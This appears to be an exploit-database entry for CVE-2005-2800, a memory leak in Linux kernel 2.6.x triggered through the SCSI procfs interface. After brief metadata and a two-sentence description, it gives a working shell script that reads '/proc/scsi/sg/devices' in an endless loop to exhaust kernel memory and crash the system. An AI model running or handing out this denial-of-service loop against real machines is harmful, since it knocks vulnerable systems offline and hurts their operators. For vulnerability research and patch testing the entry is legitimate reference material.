Linux Kernel 2.6.x - SCSI ProcFS Denial of Service

Author: anonymous
type: dos
platform: linux
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date_added: 2005-09-09 
date_updated: 2013-06-17 
verified: 1 
codes: CVE-2005-2800;OSVDB-19316 
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source: https://www.securityfocus.com/bid/14790/info

The Linux kernel is prone to a denial-of-service vulnerability. The kernel is affected by a memory leak, which eventually can result in a denial of service.

A local attacker can exploit this vulnerability by making repeated reads to the '/proc/scsi/sg/devices' file, which will exhaust kernel memory and lead to a denial of service.

#!/bin/sh

while true; do
cat /proc/scsi/sg/devices > /dev/null
done